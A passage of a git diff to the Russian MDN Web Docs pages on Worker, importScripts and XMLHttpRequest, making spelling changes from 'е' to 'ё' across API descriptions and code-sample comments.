Этот скрипт должен подчиняться политике одного источника (<a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>).</p> +<p>Конструктор <code><strong>Worker()</strong></code> создаёт объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (<a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>).</p> <p>Если URL имеет недопустимый синтаксис или нарушена политика одного источника, то будет вызвано {{domxref("DOMException")}} типа <code>SECURITY_ERR</code>.</p> diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html index ef51b14243..bb59c304c6 100644 --- a/files/ru/web/api/workerglobalscope/importscripts/index.html +++ b/files/ru/web/api/workerglobalscope/importscripts/index.html @@ -14,7 +14,7 @@ self.importScripts('foo.js', 'bar.js', ...);</pre> <h3 id="Параметры">Параметры</h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Разделенный запятыми объект </span></span>{{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Разделённый запятыми объект </span></span>{{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.</p> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -39,7 +39,7 @@ self.importScripts('foo.js', 'bar.js', ...);</pre> <h2 id="Пример">Пример</h2> -<p>Если вы хотите использовать некоторую функциональность, определенную файлом <code>foo.js</code>, необходимо сделать следующее:</p> +<p>Если вы хотите использовать некоторую функциональность, определённую файлом <code>foo.js</code>, необходимо сделать следующее:</p> <pre class="brush: js notranslate">importScripts('foo.js');</pre> diff --git a/files/ru/web/api/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/index.html index 8ad7841fec..ad4b1b2090 100644 --- a/files/ru/web/api/xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/XMLHttpRequest <p><code>XMLHttpRequest</code> это API, который предоставляет клиенту функциональность для обмена данными между клиентом и сервером. Данный API предоставляет простой способ получения данных по ссылке без перезагрузки страницы. Это позволяет обновлять только часть веб-страницы не прерывая пользователя. <code>XMLHttpRequest используется в AJAX запросах и особенно в single-page приложениях.</code></p> -<p>XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он <a href="https://xhr.spec.whatwg.org/">стандартизирован WHATWG</a>. Несмотря на свое название, <code>XMLHttpRequest</code> может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо <a href="https://developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a> (включая <code>file</code> и <a href="https://developer.mozilla.org/ru/docs/Словарь/FTP">ftp</a>).</p> +<p>XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он <a href="https://xhr.spec.whatwg.org/">стандартизирован WHATWG</a>. Несмотря на своё название, <code>XMLHttpRequest</code> может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо <a href="https://developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a> (включая <code>file</code> и <a href="https://developer.mozilla.org/ru/docs/Словарь/FTP">ftp</a>).</p> <p>Чтобы начать работать с <code>XMLHttpRequest</code>, выполните этот код:</p> @@ -92,7 +92,7 @@ translation_of: Web/API/XMLHttpRequest </td> <td><code>Function?</code></td> <td> - <p>Callback - функция, которая вызывается всякий раз, когда поле <code>readyState меняет свое значение</code>. Callback выполняется в потоке работы приложения.</p> + <p>Callback - функция, которая вызывается всякий раз, когда поле <code>readyState меняет своё значение</code>. Callback выполняется в потоке работы приложения.</p> <div class="warning"><strong>Внимание:</strong> Он не должен использоваться в синхронных запросах, и не должен выполняться из нативного кода (? must not be used from native code).</div> </td> @@ -113,7 +113,7 @@ translation_of: Web/API/XMLHttpRequest <tr> <td><code>0</code></td> <td><code>UNSENT</code></td> - <td>Клиент создан. Метод <code>open()</code> еще не вызван.</td> + <td>Клиент создан. Метод <code>open()</code> ещё не вызван.</td> </tr> <tr> <td><code>1</code></td> @@ -143,13 +143,13 @@ translation_of: Web/API/XMLHttpRequest <td><code>response</code></td> <td>varies</td> <td> - <p>Тело сущности запроса. Согласно полю <code><a href="#responseType">responseType</a></code>, может быть <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>, <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно <code>null</code> если запрос не завершен или окончен с ошибкой.</p> + <p>Тело сущности запроса. Согласно полю <code><a href="#responseType">responseType</a></code>, может быть <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>, <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно <code>null</code> если запрос не завершён или окончен с ошибкой.</p> </td> </tr> <tr id="responseText"> <td><code>responseText</code> {{ReadOnlyInline()}}</td> <td><code>DOMString</code></td> - <td>Ответ на запрос в виде строки или <code>null</code> в случае если запрос не успешен или ответ еще не получен.</td> + <td>Ответ на запрос в виде строки или <code>null</code> в случае если запрос не успешен или ответ ещё не получен.</td> </tr> <tr id="responseType"> <td><code>responseType</code></td> @@ -181,7 +181,7 @@ translation_of: Web/API/XMLHttpRequest </tr> <tr> <td><code>"json"</code></td> - <td>JavaScript объект, полученный путем парсинга JSON строки, полученной с сервера.</td> + <td>JavaScript объект, полученный путём парсинга JSON строки, полученной с сервера.</td> </tr> <tr> <td><code>"text"</code></td> @@ -240,7 +240,7 @@ translation_of: Web/API/XMLHttpRequest <td><code>timeout</code></td> <td><code>unsigned long</code></td> <td> - <p>Время в миллисекундах, после которого запрос будет отменен. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.</p> + <p>Время в миллисекундах, после которого запрос будет отменён. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.</p> <div class="note"><strong>Примечание:</strong> Вы можете не использовать поле timeout для синхронных запросов из owning window.</div> </td> @@ -339,9 +339,9 @@ translation_of: Web/API/XMLHttpRequest <h3 id="XMLHttpRequest()" name="XMLHttpRequest()">XMLHttpRequest()</h3> -<p>Конструктор создает объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.</p> +<p>Конструктор создаёт объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.</p> -<p>Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677" title="692677 – Relax same-origin XHR restrictions for privileged applications">Bug 692677</a>). Установка флага <code>mozAnon</code> в значение <code>true</code> создает сущность <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).</p> +<p>Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677" title="692677 – Relax same-origin XHR restrictions for privileged applications">Bug 692677</a>). Установка флага <code>mozAnon</code> в значение <code>true</code> создаёт сущность <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).</p> <pre>XMLHttpRequest ( JSObject objParameters @@ -354,7 +354,7 @@ translation_of: Web/API/XMLHttpRequest <dd>Вы можете использовать два флага: <dl> <dt><code>mozAnon</code></dt> - <dd>Boolean: Использование этого флага уберет из запроса заголовки origin, и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">user credentials</a>. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.</dd> + <dd>Boolean: Использование этого флага уберёт из запроса заголовки origin, и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">user credentials</a>. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.</dd> <dt><code>mozSystem</code></dt> <dd>Boolean: Если выставить этот флаг в значение <code>true</code> то это позволит делать cross-доменные запросы без необходимости получения специальных заголовков со стороны сервера (CORS). Для использования этого флага необходимо использовать дополнительный флаг<em> <code>mozAnon: true</code>, поскольку для отправки запроса на другой домен, нельзя использовать куки и креды пользователя. Этот флаг <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677#c68" title="Bug 692677 comment 68">работает только с привилегированными (одобренными) приложениями</a>; он не сработает с произвольно загруженными страницами.</em></dd> </dl> @@ -380,7 +380,7 @@ translation_of: Web/API/XMLHttpRequest <p>Возвращает значение указанного заголовка из полученного ответа, или <code>null</code> в случает если ответ не получен, или такого заголовка в ответе нет. Возвращаемая строка имеет кодировку UTF.</p> <div class="note"> -<p><code><strong>Примечание: </strong>Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделенную запятой и пробелом.</code></p> +<p><code><strong>Примечание: </strong>Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделённую запятой и пробелом.</code></p> </div> <h3 id="open()" name="open()">open()</h3> @@ -406,7 +406,7 @@ translation_of: Web/API/XMLHttpRequest <dt><code>url</code></dt> <dd>URL адрес, на который будет отправлено сообщение.</dd> <dt><code>async</code></dt> - <dd>Необязательный boolean параметр, по умолчанию равный <code>true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно</code> <code>false</code>, метод <code>send() вернет ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определенных </code> обработчиков событий. В случае, если используется отправка <code>multipart</code> запроса, то этот атрибут <strong>должен </strong>быть <code>true</code>, или будет выброшено исключение. + <dd>Необязательный boolean параметр, по умолчанию равный <code>true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно</code> <code>false</code>, метод <code>send() вернёт ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определённых </code> обработчиков событий. В случае, если используется отправка <code>multipart</code> запроса, то этот атрибут <strong>должен </strong>быть <code>true</code>, или будет выброшено исключение. <div class="note"><strong>Примечание:</strong> Начиная с Gecko 30.0 {{ geckoRelease("30.0") }}, синхронные запросы объявлены как deprecated, в силу того что все пользователи недовольны тем, что приложение "зависает".</div> </dd> <dt><code>user</code></dt> @@ -423,13 +423,13 @@ translation_of: Web/API/XMLHttpRequest <h3 id="send()" name="send()">send()</h3> -<p>Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернет значение сразу после того как метод вызван.</p> +<p>Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернёт значение сразу после того как метод вызван.</p> <div class="note"> -<p><strong>Примечание переводчика: </strong>в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она еще не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.</p> +<p><strong>Примечание переводчика: </strong>в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она ещё не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.</p> </div> -<p>Если запрос синхронный, то метод вернет значение только после того, как придет запрос от сервера.</p> +<p>Если запрос синхронный, то метод вернёт значение только после того, как придёт запрос от сервера.</p> <div class="note"><strong>Примечание:</strong> все необходимые обработчики событий должны быть установлены перед вызовом <code>send()</code>.</div> @@ -510,7 +510,7 @@ void send(FormData <var>data</var>);</pre> <p>Вариант метода <code>send()</code> который посылает бинарные данные.</p> -<div class="note"><strong>Примечание:</strong> Этот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удален. Взамен может использоваться стандарт метода <code>send(Blob data).</code> </div> +<div class="note"><strong>Примечание:</strong> Этот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удалён. Взамен может использоваться стандарт метода <code>send(Blob data).</code> </div> <pre>void sendAsBinary( in DOMString body diff --git a/files/ru/web/api/xmlhttprequest/response/index.html b/files/ru/web/api/xmlhttprequest/response/index.html index 383596f34d..7c07373f4f 100644 --- a/files/ru/web/api/xmlhttprequest/response/index.html +++ b/files/ru/web/api/xmlhttprequest/response/index.html @@ -20,9 +20,9 @@ translation_of: Web/API/XMLHttpRequest/response <p> </p> -<p>Соответствующий объект, основанный на значении <code>responseType</code>. Вы можете попытаться запросить данные в определенном формате, установив значение <code>responseType</code> после вызова <code>open()</code> для инициализации запроса, но перед вызовом <code>send()</code> для отправки запроса на сервер.</p> +<p>Соответствующий объект, основанный на значении <code>responseType</code>. Вы можете попытаться запросить данные в определённом формате, установив значение <code>responseType</code> после вызова <code>open()</code> для инициализации запроса, но перед вызовом <code>send()</code> для отправки запроса на сервер.</p> -<p>Значение равно <code>null</code>, если запрос еще не завершен или был неудачным, за исключением того, что при чтении текстовых данных с использованием <code>responseType "text"</code> или пустой строки (<code>""</code>), ответ может содержать ответ до тех пор, пока запрос все еще находится в состоянии <code>LOADING readyState (3)</code>.</p> +<p>Значение равно <code>null</code>, если запрос ещё не завершён или был неудачным, за исключением того, что при чтении текстовых данных с использованием <code>responseType "text"</code> или пустой строки (<code>""</code>), ответ может содержать ответ до тех пор, пока запрос все ещё находится в состоянии <code>LOADING readyState (3)</code>.</p> <p>Типы ответов описаны ниже.</p> @@ -58,7 +58,7 @@ translation_of: Web/API/XMLHttpRequest/response </tr> <tr> <td><code>"json"</code></td> - <td><code>response</code> является JavaScript object, созданный путем анализа содержимого полученных данных как <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON: JavaScript Object Notation (JSON) is a data-interchange format. Although not a strict subset, JSON closely resembles a subset of JavaScript syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.">JSON</a>.</td> + <td><code>response</code> является JavaScript object, созданный путём анализа содержимого полученных данных как <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON: JavaScript Object Notation (JSON) is a data-interchange format. Although not a strict subset, JSON closely resembles a subset of JavaScript syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.">JSON</a>.</td> </tr> <tr> <td><code>"text"</code></td> @@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/response </tr> <tr> <td><code>"ms-stream"</code> </td> - <td><code>response</code> является частью потоковой загрузки; этот тип ответа разрешен только для запросов на загрузку и поддерживается только Internet Explorer.</td> + <td><code>response</code> является частью потоковой загрузки; этот тип ответа разрешён только для запросов на загрузку и поддерживается только Internet Explorer.</td> </tr> </tbody> </table> @@ -89,7 +89,7 @@ translation_of: Web/API/XMLHttpRequest/response <p> </p> -<p>В этом примере представлена функция <code>load()</code>, которая загружает и обрабатывает страницу с сервера. Он работает путем создания объекта <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> и создания обработчика события с событием <code>readystatechange</code>, чтобы при изменении <code>readyState </code>на <code>DONE (4)</code> <code>response</code> получался и передавался в колбэк-функцию, предоставляемую <code>load()</code>.</p> +<p>В этом примере представлена функция <code>load()</code>, которая загружает и обрабатывает страницу с сервера. Он работает путём создания объекта <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> и создания обработчика события с событием <code>readystatechange</code>, чтобы при изменении <code>readyState </code>на <code>DONE (4)</code> <code>response</code> получался и передавался в колбэк-функцию, предоставляемую <code>load()</code>.</p> <p>Содержимое обрабатывается как необработанные текстовые данные (поскольку здесь ничто не переопределяет <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseType" title="The XMLHttpRequest property responseType is an enumerated string value specifying the type of data contained in the response."><code>responseType</code></a> по умолчанию).</p> diff --git a/files/ru/web/api/xmlhttprequest/responsetext/index.html b/files/ru/web/api/xmlhttprequest/responsetext/index.html index 67421dc290..d80a4572c0 100644 --- a/files/ru/web/api/xmlhttprequest/responsetext/index.html +++ b/files/ru/web/api/xmlhttprequest/responsetext/index.html @@ -15,9 +15,9 @@ translation_of: Web/API/XMLHttpRequest/responseText <h3 id="Значение">Значение</h3> -<p>Строка {{domxref("DOMString")}} содержащая либо <code>текстовые данные, </code>полученные при использовании <code>XMLHttpRequest, либо</code> <code>null</code> в случае, когда вопрос возвратил ошибку, или же еще не был отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.</p> +<p>Строка {{domxref("DOMString")}} содержащая либо <code>текстовые данные, </code>полученные при использовании <code>XMLHttpRequest, либо</code> <code>null</code> в случае, когда вопрос возвратил ошибку, или же ещё не был отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.</p> -<p>Во время выполнения асинхронных запросов, в значении <code>responseText</code> всегда находится текущее содержимое, полученное от сервера, даже если запрос еще не завершен, и данные от сервера не получены полностью.</p> +<p>Во время выполнения асинхронных запросов, в значении <code>responseText</code> всегда находится текущее содержимое, полученное от сервера, даже если запрос ещё не завершён, и данные от сервера не получены полностью.</p> <p>Понять, что ответ получен полностью, можно когда значение {{domxref("XMLHttpRequest.readyState", "readyState")}} становится {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (<code>4</code>), а значение {{domxref("XMLHttpRequest.status", "status")}} становится 200 (<code>"OK"</code>).</p> diff --git a/files/ru/web/api/xmlhttprequest/responsetype/index.html b/files/ru/web/api/xmlhttprequest/responsetype/index.html index 91e38522bf..80d5b3bf9f 100644 --- a/files/ru/web/api/xmlhttprequest/responsetype/index.html +++ b/files/ru/web/api/xmlhttprequest/responsetype/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseType --- <p>{{APIRef('XMLHttpRequest')}}</p> -<p><strong><code>XMLHttpRequest.responseType</code></strong> <font><font>Свойство является перечислимым значением, </font><font>которое возвращает тип ответа. </font><font>Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию <strong><code>text</code></strong></font></font><font><font>. </font></font><font><font>Установка значения responseType в «document» игнорируется, если выполняется в </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"><font><font>рабочей</font></font></a><font><font> среде. </font><font>При настройке </font></font><code>responseType</code><font><font> на определенное значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным </font></font><code>responseType</code><font><font>, значение </font></font><code>response</code> <font><font>будет </font></font><code>null</code><font><font>. </font><font>Кроме того, установка </font></font><code>responseType</code> <font><font>для синхронных запросов вызовет исключение </font></font><code>InvalidAccessError</code><font><font>.</font></font></p> +<p><strong><code>XMLHttpRequest.responseType</code></strong> <font><font>Свойство является перечислимым значением, </font><font>которое возвращает тип ответа. </font><font>Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию <strong><code>text</code></strong></font></font><font><font>. </font></font><font><font>Установка значения responseType в «document» игнорируется, если выполняется в </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"><font><font>рабочей</font></font></a><font><font> среде. </font><font>При настройке </font></font><code>responseType</code><font><font> на определённое значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным </font></font><code>responseType</code><font><font>, значение </font></font><code>response</code> <font><font>будет </font></font><code>null</code><font><font>. </font><font>Кроме того, установка </font></font><code>responseType</code> <font><font>для синхронных запросов вызовет исключение </font></font><code>InvalidAccessError</code><font><font>.</font></font></p> <p><font><font>Поддерживаемые значения </font></font><code>responseType</code><font><font>:</font></font></p> diff --git a/files/ru/web/api/xmlhttprequest/responseurl/index.html b/files/ru/web/api/xmlhttprequest/responseurl/index.html index ed61b3451b..635d27ddc1 100644 --- a/files/ru/web/api/xmlhttprequest/responseurl/index.html +++ b/files/ru/web/api/xmlhttprequest/responseurl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseURL --- <div>{{APIRef('XMLHttpRequest')}}</div> -<p>Свойство <code><strong>XMLHttpRequest.responseURL</strong></code> доступно только для чтения, возвращает сериализованный URL ответа или пустую строку, если URL равен <code>null</code>. Если URL возвращен, любой URL фрагмент в URL будет стерт. Значение <code>responseURL</code> станет окончательным URL, получаемым после любых редиректов.</p> +<p>Свойство <code><strong>XMLHttpRequest.responseURL</strong></code> доступно только для чтения, возвращает сериализованный URL ответа или пустую строку, если URL равен <code>null</code>. Если URL возвращён, любой URL фрагмент в URL будет стёрт. Значение <code>responseURL</code> станет окончательным URL, получаемым после любых редиректов.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/xmlhttprequest/send/index.html b/files/ru/web/api/xmlhttprequest/send/index.html index a7c82474a7..34736d0716 100644 --- a/files/ru/web/api/xmlhttprequest/send/index.html +++ b/files/ru/web/api/xmlhttprequest/send/index.html @@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/send xhr.open('GET', '/server', true); xhr.onload = function () { - // Запрос завершен. Здесь можно обрабатывать результат. + // Запрос завершён. Здесь можно обрабатывать результат. }; xhr.send(null); @@ -94,12 +94,12 @@ xhr.send(null); <pre><code>var xhr = new XMLHttpRequest(); xhr.open("POST", '/server', true); -//Передает правильный заголовок в запросе +//Передаёт правильный заголовок в запросе xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() {//Вызывает функцию при смене состояния. if(xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { - // Запрос завершен. Здесь можно обрабатывать результат. + // Запрос завершён. Здесь можно обрабатывать результат. } } xhr.send("foo=bar&lorem=ipsum"); diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html index 527dfe1f5a..454bc054db 100644 --- a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html +++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data --- <h2 id="Receiving_binary_data_using_JavaScript_typed_arrays" name="Receiving_binary_data_using_JavaScript_typed_arrays">Получение бинарных данных используя JavaScript arrays </h2> -<p>Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершен или не был успешным.</p> +<p>Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершён или не был успешным.</p> -<p>В этом примере изображение считывается как двоичный файл и создается 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится <a href="https://github.com/devongovett/png.js/">библиотека декодирования png</a>.</p> +<p>В этом примере изображение считывается как двоичный файл и создаётся 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится <a href="https://github.com/devongovett/png.js/">библиотека декодирования png</a>.</p> <pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); oReq.open("GET", "/myfile.png", true); @@ -90,9 +90,9 @@ var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte ( <h2 id="Sending_binary_data" name="Sending_binary_data">Отправка бинарных данных</h2> -<p>Метод <code>send</code> объекта XMLHttpRequest был расширен, чтобы обеспечить легкую передачу бинарных данных - теперь он принимает объекты <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a>, {{domxref("Blob")}}, или {{domxref("File")}}.</p> +<p>Метод <code>send</code> объекта XMLHttpRequest был расширен, чтобы обеспечить лёгкую передачу бинарных данных - теперь он принимает объекты <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a>, {{domxref("Blob")}}, или {{domxref("File")}}.</p> -<p>В примере ниже на лету создается текстовый файл и отправляется методом <code>POST</code> на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.</p> +<p>В примере ниже на лету создаётся текстовый файл и отправляется методом <code>POST</code> на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.</p> <pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); oReq.open("POST", url, true); @@ -121,7 +121,7 @@ xhr.open("POST", url, false); xhr.send(myArray); </pre> -<p>Здесь создается и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.</p> +<p>Здесь создаётся и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.</p> <div class="note"><strong>Примечание:</strong> Поддержка передачи объектов <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a> с помощью XMLHttpRequest появилась в Gecko 9.0 {{geckoRelease("9.0")}}. <strong>Add information about other browsers' support here.</strong></div> @@ -144,7 +144,7 @@ req.sendAsBinary(aBody); <p>В строке 5 метод <code>sendAsBinary()</code> начинает запрос.</p> -<div class="note"><strong>Примечание:</strong> Нестандартный метод <code>sendAsBinary</code> начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удален. Вместо него, как показывалось выше, можно использовать стандартный метод <code>send(Blob data)</code>.</div> +<div class="note"><strong>Примечание:</strong> Нестандартный метод <code>sendAsBinary</code> начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удалён. Вместо него, как показывалось выше, можно использовать стандартный метод <code>send(Blob data)</code>.</div> <p>Кроме того, чтобы отправить бинарные данные можно передать экземпляр {{interface("nsIFileInputStream")}} в метод <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>. В этом случае заголовок <code>Content-Length</code> заполнять явно необязательно, поскольку информация получается из потока автоматически:</p> diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html index 4304530ac7..0a7d0f9cf4 100644 --- a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -226,7 +226,7 @@ The second line. <h4 id="Небольшой_классический_фреймворк">Небольшой классический фреймворк</h4> -<p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придется проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все еще дидактический) фреймворк, </strong>который все же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p> +<p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придётся проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все ещё дидактический) фреймворк, </strong>который все же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p> <div style="height: 400px; margin-bottom: 12px; overflow: auto;"> <pre class="brush: html notranslate"><!doctype html> diff --git a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html index 53fb283a75..bcd89a4530 100644 --- a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html @@ -43,9 +43,9 @@ translation_of: Web/API/XMLHttpRequest/XMLHttpRequest <dd>Существует два флага, которые можно установить: <dl> <dt><code>mozAnon</code></dt> - <dd>Boolean: Установка этого флага в значение <code>true</code> приведет к тому, что браузер не будет раскрывать {{Glossary("origin")}} и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">учётные данные пользователя</a> при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием 